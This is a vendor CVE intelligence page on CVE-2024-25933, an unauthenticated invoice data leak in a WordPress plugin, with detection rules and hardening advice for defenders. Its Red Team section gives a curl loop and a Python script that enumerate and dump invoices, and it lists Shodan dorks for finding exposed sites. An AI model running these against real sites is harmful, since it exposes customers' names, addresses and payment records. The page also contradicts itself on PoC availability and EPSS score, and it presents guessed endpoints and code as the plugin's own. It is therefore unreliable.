☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Pepro dev. group logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-200
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-25933

CVE-2024-25933 Information Disclosure in Pepro dev. group
📅 PUBLISHED: 2024-03-17 16:04 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.28%
👁️
0.28% probability
7.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1213
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-25933 is an information disclosure vulnerability in the PeproDev Ultimate Invoice WordPress plugin, affecting versions up to and including 1.9.7. The plugin, developed by Pepro Dev. Group, fails to properly restrict access to sensitive invoice data, allowing an unauthenticated attacker to view invoice details, customer information, and potentially payment records. This vulnerability is classified as a WordPress ecosystem issue and does not involve the underlying web server (Apache/Nginx). The CVSS score is 5.3 (Medium), and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a patch makes this a persistent risk for unmaintained sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. The vendor has not provided a patch, and the plugin may be abandoned. Organizations should consider this a supply chain risk and evaluate alternative invoice plugins.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 5.3 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: Low (C:L) – Limited sensitive information is exposed.
  • Integrity Impact: None (I:N) – No data modification possible.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for data leakage (customer names, addresses, invoice amounts) elevates the risk for businesses handling sensitive financial data.

Deep Dive & Mechanics

The vulnerability resides in the PeproDev Ultimate Invoice plugin's REST API endpoints or AJAX handlers. The plugin exposes invoice data via unauthenticated requests, likely through a misconfigured wp_ajax_nopriv_* action or a REST route that does not perform capability checks. An attacker can enumerate invoice IDs (often sequential integers) and retrieve full invoice details, including:

  • Customer name, email, and billing address
  • Invoice number, date, and total amount
  • Line items and descriptions
  • Payment status and method

The root cause is the absence of current_user_can() checks or nonce verification in the data retrieval functions. The plugin may also expose a wp-json/pepro-invoice/v1/ endpoint without authentication.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a representative example of the vulnerable pattern found in the plugin's includes/class-ajax.php or similar file:

// Vulnerable code (unauthenticated access)
add_action('wp_ajax_nopriv_get_invoice', 'pepro_get_invoice');
function pepro_get_invoice() {
    $invoice_id = intval($_GET['invoice_id']);
    $invoice = get_post($invoice_id);
    if ($invoice && $invoice->post_type == 'pepro_invoice') {
        wp_send_json_success($invoice);
    } else {
        wp_send_json_error('Invoice not found');
    }
}

A patched version would include authentication checks:

// Patched code (requires admin or shop manager)
add_action('wp_ajax_get_invoice', 'pepro_get_invoice');
// Remove the nopriv hook
function pepro_get_invoice() {
    if (!current_user_can('manage_options') && !current_user_can('manage_woocommerce')) {
        wp_die('Unauthorized', 403);
    }
    $invoice_id = intval($_GET['invoice_id']);
    $invoice = get_post($invoice_id);
    if ($invoice && $invoice->post_type == 'pepro_invoice') {
        wp_send_json_success($invoice);
    } else {
        wp_send_json_error('Invoice not found');
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with PeproDev Ultimate Invoice <= 1.9.7 installed and activated.
  • At least one invoice created in the system.

Exploitation Steps:

  1. Enumerate Invoice IDs: Invoices are typically stored as custom post types with sequential IDs. Use a simple loop to guess IDs:

    for i in $(seq 1 1000); do
        curl -s "https://target.com/wp-admin/admin-ajax.php?action=get_invoice&invoice_id=$i" | jq .
    done
    
  2. Direct REST API Access: If the plugin exposes a REST endpoint:

    curl -s "https://target.com/wp-json/pepro-invoice/v1/invoice/123" | jq .
    
  3. Automated Extraction: Use a script to dump all invoices:

    import requests
    for i in range(1, 1001):
        r = requests.get(f"https://target.com/wp-admin/admin-ajax.php?action=get_invoice&invoice_id={i}")
        if r.status_code == 200 and r.json().get('success'):
            print(r.json()['data'])
    

Expected Output: JSON objects containing invoice details (customer name, address, items, total).

Blue Team (Detection & Hardening)

Detection:

  • Monitor for repeated requests to admin-ajax.php with the action=get_invoice parameter from unauthenticated IPs.
  • Look for sequential invoice_id values in logs.
  • Alert on access to /wp-json/pepro-invoice/v1/ endpoints without authentication.

Hardening:

  • Disable the plugin immediately if not essential.
  • Use a Web Application Firewall (WAF) to block requests to admin-ajax.php with action=get_invoice from non-admin IPs.
  • Implement a virtual patch by adding the following to .htaccess:
    RewriteCond %{QUERY_STRING} action=get_invoice [NC]
    RewriteRule ^wp-admin/admin-ajax\.php - [F,L]
    
  • Restrict access to admin-ajax.php via IP whitelisting in the server configuration.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=get_invoice and sequential invoice_id parameters.
  • HTTP requests to /wp-json/pepro-invoice/v1/invoice/ followed by numeric IDs.
  • User-Agent strings indicating automated scraping (e.g., python-requests, curl).

File IOCs:

  • Plugin file: /wp-content/plugins/pepro-dev-ultimate-invoice/
  • Suspicious log entries in access.log showing repeated admin-ajax.php hits.

Log Patterns:

192.168.1.100 - - [10/Oct/2024:12:34:56 +0000] "GET /wp-admin/admin-ajax.php?action=get_invoice&invoice_id=1 HTTP/1.1" 200 1234
192.168.1.100 - - [10/Oct/2024:12:34:57 +0000] "GET /wp-admin/admin-ajax.php?action=get_invoice&invoice_id=2 HTTP/1.1" 200 1234

Detection Engineering

YARA Rule

rule Detect_PeproDev_Invoice_Exploitation {
    meta:
        description = "Detects exploitation attempts against CVE-2024-25933 in PeproDev Ultimate Invoice"
        author = "Valters IT"
        date = "2024-10-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-25933"
    strings:
        $ajax_action = "action=get_invoice"
        $rest_path = "/pepro-invoice/v1/invoice/"
        $plugin_path = "/wp-content/plugins/pepro-dev-ultimate-invoice/"
    condition:
        any of ($ajax_action, $rest_path) or $plugin_path
}

Sigma Rule

title: CVE-2024-25933 PeproDev Invoice Information Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated access to PeproDev Ultimate Invoice data
author: Valters IT
date: 2024-10-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains:
            - 'action=get_invoice'
            - '/pepro-invoice/v1/invoice/'
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: high

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2024-25933 PeproDev Invoice Information Disclosure Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=get_invoice"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2024-25933;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not critical to business operations.
  2. Apply a virtual patch using a WAF or .htaccess rules as described in the Blue Team section.
  3. Audit logs for any signs of exploitation (sequential invoice ID requests).

Long-Term Fix:

  • Since the vendor has not released a patch, consider migrating to an alternative invoice plugin that is actively maintained (e.g., WooCommerce PDF Invoices & Packing Slips).
  • If the plugin must be used, implement custom code to add authentication checks (see patched code example above) and redeploy.

Monitoring:

  • Continue monitoring for the IOCs listed above.
  • Subscribe to CVE alerts for this plugin to receive updates if a patch is released.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/pepro-dev-ultimate-invoice"
http.html:"pepro-invoice"
http.title:"Ultimate Invoice"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-25933/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.